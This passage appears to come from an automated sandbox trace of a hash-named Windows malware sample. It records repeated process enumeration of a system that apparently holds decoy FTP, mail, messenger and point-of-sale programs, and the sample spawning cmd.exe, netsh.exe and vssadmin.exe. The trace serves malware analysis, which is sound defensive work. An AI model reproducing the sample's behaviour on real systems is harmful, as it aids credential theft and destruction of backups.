lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0062.978] GetLastError () returned 0x12 [0062.978] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0062.979] GetLastError () returned 0x12 [0062.979] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0062.980] GetLastError () returned 0x12 [0062.980] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0062.981] GetLastError () returned 0x12 [0062.981] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0062.981] GetLastError () returned 0x12 [0062.981] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0062.982] GetLastError () returned 0x12 [0062.982] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0062.983] GetLastError () returned 0x12 [0062.983] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0062.984] GetLastError () returned 0x12 [0062.984] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0062.984] GetLastError () returned 0x12 [0062.984] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0062.985] GetLastError () returned 0x12 [0062.985] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0062.986] GetLastError () returned 0x12 [0062.986] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.987] GetLastError () returned 0x12 [0062.987] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.987] GetLastError () returned 0x12 [0062.987] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.988] GetLastError () returned 0x12 [0062.988] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.989] GetLastError () returned 0x12 [0062.989] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.989] GetLastError () returned 0x12 [0062.989] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.990] GetLastError () returned 0x12 [0063.223] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.224] GetLastError () returned 0x12 [0063.224] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.225] GetLastError () returned 0x12 [0063.225] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.226] GetLastError () returned 0x12 [0063.226] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.227] GetLastError () returned 0x12 [0063.227] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.228] GetLastError () returned 0x12 [0063.228] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0063.228] GetLastError () returned 0x12 [0063.228] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0063.229] GetLastError () returned 0x12 [0063.229] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0063.230] GetLastError () returned 0x12 [0063.231] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0063.232] GetLastError () returned 0x12 [0063.232] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0063.233] GetLastError () returned 0x12 [0063.233] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0063.234] GetLastError () returned 0x12 [0063.234] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0063.235] GetLastError () returned 0x12 [0063.235] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0063.236] GetLastError () returned 0x12 [0063.236] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0063.237] GetLastError () returned 0x12 [0063.237] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0063.238] GetLastError () returned 0x12 [0063.238] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.239] GetLastError () returned 0x12 [0063.240] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0063.241] GetLastError () returned 0x12 [0063.241] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0063.242] GetLastError () returned 0x12 [0063.242] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0063.243] GetLastError () returned 0x12 [0063.243] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0063.244] GetLastError () returned 0x12 [0063.244] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0063.245] GetLastError () returned 0x12 [0063.245] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0063.246] GetLastError () returned 0x12 [0063.246] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0063.247] GetLastError () returned 0x12 [0063.247] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0063.248] GetLastError () returned 0x12 [0063.248] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0063.249] GetLastError () returned 0x12 [0063.249] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0063.250] GetLastError () returned 0x12 [0063.250] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0063.251] GetLastError () returned 0x12 [0063.251] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0063.252] GetLastError () returned 0x12 [0063.252] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0063.252] GetLastError () returned 0x12 [0063.253] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0063.253] GetLastError () returned 0x12 [0063.253] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0063.254] GetLastError () returned 0x12 [0063.254] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0063.255] GetLastError () returned 0x12 [0063.255] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0063.703] GetLastError () returned 0x12 [0063.703] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0063.704] GetLastError () returned 0x12 [0063.704] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0063.705] GetLastError () returned 0x12 [0063.705] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0063.706] GetLastError () returned 0x12 [0063.706] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0063.706] GetLastError () returned 0x12 [0063.707] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0063.707] GetLastError () returned 0x12 [0063.707] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0063.708] GetLastError () returned 0x12 [0063.708] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0063.709] GetLastError () returned 0x12 [0063.709] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0063.710] GetLastError () returned 0x12 [0063.710] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0063.711] GetLastError () returned 0x12 [0063.711] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.712] GetLastError () returned 0x12 [0063.712] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0063.713] GetLastError () returned 0x12 [0063.713] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.713] GetLastError () returned 0x12 [0063.713] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0063.714] GetLastError () returned 0x12 [0063.714] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0063.715] GetLastError () returned 0x12 [0063.715] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0063.716] GetLastError () returned 0x12 [0063.716] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0063.717] GetLastError () returned 0x12 [0063.717] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.717] GetLastError () returned 0x12 [0063.717] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0063.718] CloseHandle (hObject=0x184) returned 1 [0063.718] Sleep (dwMilliseconds=0x1f4) [0064.428] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a4 [0064.432] Process32FirstW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0064.433] GetLastError () returned 0x12 [0064.433] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0064.433] GetLastError () returned 0x12 [0064.434] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0064.434] GetLastError () returned 0x12 [0064.434] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.435] GetLastError () returned 0x12 [0064.435] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0064.436] GetLastError () returned 0x12 [0064.436] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0064.436] GetLastError () returned 0x12 [0064.437] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0064.437] GetLastError () returned 0x12 [0064.437] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0064.438] GetLastError () returned 0x12 [0064.438] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, 